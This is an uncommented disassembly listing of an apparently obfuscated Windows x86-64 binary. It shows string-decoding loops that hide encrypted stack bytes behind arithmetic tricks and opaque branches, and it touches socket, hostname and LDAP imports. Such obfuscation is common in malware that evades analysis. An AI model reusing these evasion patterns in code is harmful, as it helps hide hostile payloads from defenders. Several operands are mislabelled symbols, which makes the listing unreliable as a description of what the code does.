movups xmmword [rbp + 0x124], xmm0
mov qword [rbp + 0x134], rax
mov dword [rbp + 0x13c], eax
mov byte [rbp + 0x140], al
movabs r15, 0x34eeab1df9676d55
movabs r13, 0x7286add1d1d3fd53
movabs r12, 0x9ecc0159ec3647ff
movzx edx, byte [rsp + 0x32]
nop word [rax + rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor esi, esi
cmp rsi, 0x21
jae 0x1400c32a2
movzx r11d, byte [rbp + rsi + 0x120]
mov r14d, r11d
nop dword [rax + rax]
cmp r8, rsi
ja 0x1400c3286
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c2a1b
lea rcx, [rsi + r15]
mov rax, rcx
and rax, r14
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r14
sub dl, 0x53
jmp 0x1400c2a47
je 0x1400c3208
inc rax
cmp r8, rax
je 0x1400c3185
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c3156
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c3137
movzx r10d, sil
nop dword [rax + rax]
mov rbx, r8
cmp r9, rsi
ja 0x1400c326a
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400c2a7c
lea ecx, [r10 - 7]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x31
jmp 0x1400c2aaf
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c30f5
inc rax
cmp r8, rax
je 0x1400c30d0
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c30ae
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c3081
nop
lea rax, [r9 + r8]
cmp rax, rsi
jbe 0x1400c2d22
nop dword [rax]
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400c2d05
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400c2ce0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c2cba
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c2c9e
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c2c81
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 4]
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400c324e
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400c3232
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400c2bac
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400c2b92
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400c2c5b
lea r8, [r9 + 0x10]
lea r9, [r8 + 5]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400c2c2e
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400c2c0e
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400c2bf1
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400c2bc8
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x7a]
jmp 0x1400c2ac0
lea ecx, [r10 + 0x7d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6b
jmp 0x1400c2a50
sub r10b, 0x2d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x3b
jmp 0x1400c29f0
add r10b, 0x1e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rsi
inc rsi
jmp 0x1400c29d2
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c319d
add r10b, 0x22
movzx eax, r10b
and al, r11b
mov ecx, 9
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c31c8
add r10b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x48
movzx eax, byte [rbp + rsi + 0x120]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400c29d2
sub r10b, 0x31
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x57
mov byte [rbp + rsi + 0x120], dl
inc rsi
jmp 0x1400c29d2
lea edx, [r10 - 0x7e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c319d
add r10b, 0x2e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x42
jmp 0x1400c316a
sub r10b, 0x26
movzx eax, r10b
and al, r11b
mov ecx, 5
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rsi
inc rsi
jmp 0x1400c29d2
add r10b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x50
inc r9
dec rsi
inc rsi
jmp 0x1400c29d2
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c310a
lea rax, [r9 + 0x40]
cmp rbx, rax
jae 0x1400c2dd0
lea ecx, [r10 + 0x55]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x53
lea rax, [r9 + r8]
cmp rax, 9
je 0x1400c306b
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x1400c2eb5
lea ecx, [r10 + 0x41]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x39
cmp r8, 0x2a
jae 0x1400c302d
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400c2f84
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
cmp r9, 0x200
jb 0x1400c2c72
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edx, [rcx*2 - 0x24]
jmp 0x1400c310a
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1400c2e0a
sub r10b, 0xe
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rsi + 0x120]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400c29d2
inc rax
cmp rbx, rax
jne 0x1400c2e2e
sub r10b, 0x64
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x44
jmp 0x1400c31c8
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1400c2e54
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c319d
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x1400c2e83
sub r10b, 0x12
movzx eax, r10b
and al, r11b
mov ecx, 0x3f
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rsi
inc rsi
jmp 0x1400c29d2
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x1400c2d44
sub r10b, 0x68
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x28
inc r9
dec rsi
inc rsi
jmp 0x1400c29d2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c2ed8
lea ecx, [r10 - 0x15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6d
jmp 0x1400c310a
inc rax
cmp r8, rax
jne 0x1400c2f02
add r10b, 0x3f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x47
dec rsi
inc rsi
jmp 0x1400c29d2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c2f25
lea ecx, [r10 - 0x17]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5f
jmp 0x1400c3044
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c2f4a
add r10b, 0x3d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x55
jmp 0x1400c316d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c2d77
add r10b, 0x3b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x63
movzx eax, byte [rbp + rsi + 0x120]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400c29d2
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400c2fba
sub r10b, 0x1c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3c
movzx eax, byte [rbp + rsi + 0x120]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400c29d2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c2fe0
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c319d
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400c3009
sub r10b, 0x74
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c316a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c2da6
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7a
jmp 0x1400c3044
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 0x24
add cl, cl
add dl, cl
sub r10b, 0x23
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0xb
add r10b, r11b
add r10b, dl
mov byte [rbp + rsi + 0x120], r10b
jmp 0x1400c316a
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [rcx - 0x5e]
jmp 0x1400c319d
sub r10b, 0xd
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x5b
movzx eax, byte [rbp + rsi + 0x120]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400c29d2
sub r10b, 9
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x3f
dec rsi
inc rsi
jmp 0x1400c29d2
add r10b, 0x4d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1b
inc r9
dec rsi
inc rsi
jmp 0x1400c29d2
lea ecx, [r10 - 0x5d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x75
add r10b, 0x33
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x65
add r10b, r11b
mov byte [rbp + rsi + 0x120], r10b
inc r9
dec rsi
inc rsi
jmp 0x1400c29d2
lea ecx, [rsi - 5]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x23
dec rsi
inc rsi
jmp 0x1400c29d2
lea ecx, [rsi - 0x59]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x6f
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x1400c29d2
lea rax, [rsi + r13]
and r14b, al
add r14b, r14b
sub al, r14b
lea edx, [r11 + rax]
sub dl, 0x45
movzx r10d, sil
sub r10b, 0x79
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x4f
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rsi + 0x120], al
inc r9
add rax, r9
sub rsi, rax
lea ecx, [rsi - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 4
add cl, r11b
mov byte [rbp + rsi + 0x120], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rsi, rax
movzx eax, byte [rbp + rsi + 0x120]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400c29d2
lea rax, [rsi + r12]
and r14b, al
add r14b, r14b
sub al, r14b
lea edx, [r11 + rax]
add dl, 7
movzx eax, byte [rbp + rsi + 0x120]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400c29d2
add r10b, 0x29
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1f
jmp 0x1400c29d0
add r10b, 0x7f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x79
jmp 0x1400c29c0
mov eax, dword [rbp + 0x17d763c]
cdqe
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x68]
jmp 0x1400cc49b
mov eax, dword [rbp + 0xe4e391]
cdqe
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x68]
jmp 0x1400cc49b
mov eax, dword [rbp + 0x120]
cdqe
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x68]
jmp 0x1400cc49b
mov rcx, qword [0x1402cd9f8]
call fcn.1400dcd90
xorps xmm0, xmm0
test al, al
je 0x1400c4b8d
mov byte [rbp + 0x3f0], 0x7b
mov byte [rbp + 0x3f1], 0x58
mov byte [rbp + 0x3f2], 0x45
mov byte [rbp + 0x3f3], 0x44
mov byte [rbp + 0x3f4], 0x45
mov byte [rbp + 0x3f5], 0x56
mov byte [rbp + 0x3f6], 0x51
mov byte [rbp + 0x3f7], 0x5d
mov byte [rbp + 0x3f8], 0x51
mov byte [rbp + 0x3f9], 0x59
mov byte [rbp + 0x3fa], 0x46
mov byte [rbp + 0x3fb], 0xb2
mov byte [rbp + 0x3fc], Ordinal_27
mov byte [rbp + 0x3fd], 0x78
mov byte [rbp + 0x3fe], Ordinal_79
mov byte [rbp + 0x3ff], Ordinal_79
mov byte [rbp + 0x400], 0x44
mov byte [rbp + 0x401], 0x58
mov byte [rbp + 0x402], 0x40
mov byte [rbp + 0x403], 0x47
mov byte [rbp + 0x404], Ordinal_79
mov byte [rbp + 0x405], 0x56
mov byte [rbp + 0x406], 0x57
mov byte [rbp + 0x407], 0x43
mov byte [rbp + 0x408], 0x51
mov byte [rbp + 0x409], 0x51
mov byte [rbp + 0x40a], WSASetLastError
mov byte [rbp + 0x40b], 0x55
mov byte [rbp + 0x40c], 0x48
xor eax, eax
movups xmmword [rbp + 0x40d], xmm0
mov dword [rbp + 0x41d], eax
mov word [rbp + 0x421], ax
movabs rsi, 0x9430f81802d9c026
movabs r14, 0x35b8b8d819a7c156
movabs r12, 0xd56c8a813f4410a
movabs r15, 0xbc92e848088d4072
movzx edx, byte [rsp + 0x32]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x1400c3e2a
movzx r11d, byte [rbp + rbx + 0x3f0]
mov edi, r11d
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400c3e1e
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c344b
lea rcx, [rbx + rsi]
mov rax, rdi
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rdi
add rdx, rcx
sub dl, 0xa
jmp 0x1400c3485
je 0x1400c3db0
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c3d2b
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c3cff
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c3cb9
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c3c94
movzx r10d, bl
nop dword [rax]
cmp r9, rbx
ja 0x1400c3e12
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400c34c0
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c3501
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400c3c4f
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c3c2d
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400c3c13
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c3bf7
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c3bd9
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400c3906
nop
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400c38ea
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400c38c5
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400c38a3
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400c3886
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c3863
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c3843
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400c3828
mov r8, rax
lea r9, [rax + 0x2a]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400c3df6
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400c3dda
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400c366b
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400c3651
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400c3637
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400c37d9
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400c3769
mov r8, rax
lea r9, [rax + 0x2a]
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400c3738
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400c371a
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400c3700
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400c36e4
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400c36c5
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400c36a9
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400c3687
mov r8, rax
lea r9, [rax + 0x2a]
jmp 0x1400c3510
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6e
jmp 0x1400c3501
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5a
jmp 0x1400c3490
add r10b, 0xa
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x46
jmp 0x1400c3420
add r10b, 0x58
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x68
dec rbx
inc rbx
jmp 0x1400c3402
lea edx, [r10 + 0xc]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x54
add dl, cl
jmp 0x1400c3cd5
sub r10b, 0x40
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x40
add r8, r9
jmp 0x1400c3d13
add r10b, 0x74
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x2c
jmp 0x1400c3d13
lea edx, [r10 + 0x28]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x18
jmp 0x1400c3d43
sub r10b, 0x24
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
sub dl, 4
add dl, r10b
jmp 0x1400c3d70
sub r10b, 0x70
movzx eax, r11b
and al, r10b
mov ecx, 8
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rbp + rbx + 0x3f0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3402
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
cmp r8, 0x2a
jae 0x1400c3b9d
lea rcx, [r9 + 2]
cmp r8, rcx
jbe 0x1400c3ad7
lea edx, [r10 + 0x2c]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x34
add dl, cl
cmp r9, 0x2a
jb 0x1400c3b8e
lea edx, [r10 + 0x24]
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1400c3c67
lea edx, [r10 - 0x12]
movzx eax, dl
and al, r11b
mov ecx, 0x3f
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
lea rax, [r9 + r8]
cmp rax, 0x2a
je 0x1400c3bbc
lea rcx, [r9 + 2]
cmp r8, rcx
jbe 0x1400c3a3b
lea edx, [r10 + 0xe]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x62
add dl, cl
jmp 0x1400c3781
lea edx, [r10 + 0x1c]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r11b
jmp 0x1400c3d43
sub r10b, 0x30
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400c3d13
sub r10b, 0x7c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
add r8, r9
jmp 0x1400c3d13
lea edx, [r10 + 0x38]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400c3cd5
sub r10b, 0x14
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x74
dec rbx
inc rbx
jmp 0x1400c3402
sub r10b, 0x60
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x60
inc r9
dec rbx
inc rbx
jmp 0x1400c3402
lea edx, [r10 + 0x54]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x4c
add dl, cl
jmp 0x1400c3c67
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x1400c392b
lea edx, [r10 + 0x26]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0xa
add dl, cl
jmp 0x1400c37f1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c3965
add r10b, 0x3c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rbp + rbx + 0x3f0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3402
inc rax
cmp r8, rax
jne 0x1400c398d
sub r10b, 0x78
movzx eax, r11b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400c3d70
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c39b9
add r10b, 0x6c
movzx eax, r11b
and al, r10b
mov ecx, 6
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
add r8, r9
jmp 0x1400c3d13
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c39e4
add r10b, 4
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x1c
dec rbx
inc rbx
jmp 0x1400c3402
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c3a12
add r10b, 0x50
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x30
inc r9
dec rbx
inc rbx
jmp 0x1400c3402
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c37f1
lea edx, [r10 - 0x64]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x44
add dl, cl
jmp 0x1400c3c67
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c3a60
lea edx, [r10 + 0x5a]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x76
add dl, cl
jmp 0x1400c3c67
cmp r8, rcx
jne 0x1400c3a88
sub r10b, 0x76
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
add r8, r9
jmp 0x1400c3d13
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c3aac
lea edx, [r10 + 0x22]
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
add cl, cl
add cl, r11b
jmp 0x1400c3d43
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c3781
add r10b, 0x6e
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
sub dl, 2
add dl, r10b
jmp 0x1400c3d70
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c3b0d
add r10b, 0x78
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x48
movzx eax, byte [rbp + rbx + 0x3f0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3402
cmp r8, rcx
jne 0x1400c3b35
sub r10b, 0x58
movzx eax, r11b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
add r8, r9
jmp 0x1400c3d13
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c3b64
add r10b, 0x40
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
dec rbx
inc rbx
jmp 0x1400c3402
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c37af
lea edx, [r10 - 0x28]
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400c3c67
mov byte [rbp + rbx + 0x3f0], dl
inc rbx
jmp 0x1400c3402
lea edx, [r10 + 0x70]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, r11b
sub dl, 0x10
add dl, cl
jmp 0x1400c3cd5
lea edx, [r10 - 0x44]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, r11b
sub dl, 0x24
jmp 0x1400c3d43
add r10b, 0x7e
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x72
add dl, r10b
jmp 0x1400c3d70
sub r10b, 0x1a
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x4a
jmp 0x1400c3d13
lea ecx, [r10 + 0x4e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x22
jmp 0x1400c3cd5
add r10b, 2
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0xe
dec rbx
inc rbx
jmp 0x1400c3402
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
add r10b, 0x4a
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 6
add r11b, r10b
mov byte [rbp + rbx + 0x3f0], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c3402
lea edx, [rbx - 0x7a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c3402
movzx r10d, bl
lea edx, [r10 - 0x12]
movzx eax, dl
and al, r11b
mov ecx, 0x3f
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
sub r10b, 0x6a
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x1a
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx + 0x3f0], r11b
add r8, r9
jmp 0x1400c3d13
lea rax, [rbx + r14]
and dil, al
add dil, dil
sub r11b, dil
lea edx, [rax + r11]
sub dl, 0x5a
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400c3402
lea rcx, [rbx + r12]
and dil, cl
add dil, dil
movzx edx, r11b
sub dl, dil
sub dl, 0x46
movzx r10d, bl
add dl, cl
sub r10b, 0x1e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x2e
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rbx + 0x3f0], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x38
add cl, r11b
mov byte [rbp + rbx + 0x3f0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x3f0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3402
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub r11b, dil
lea edx, [rax + r11]
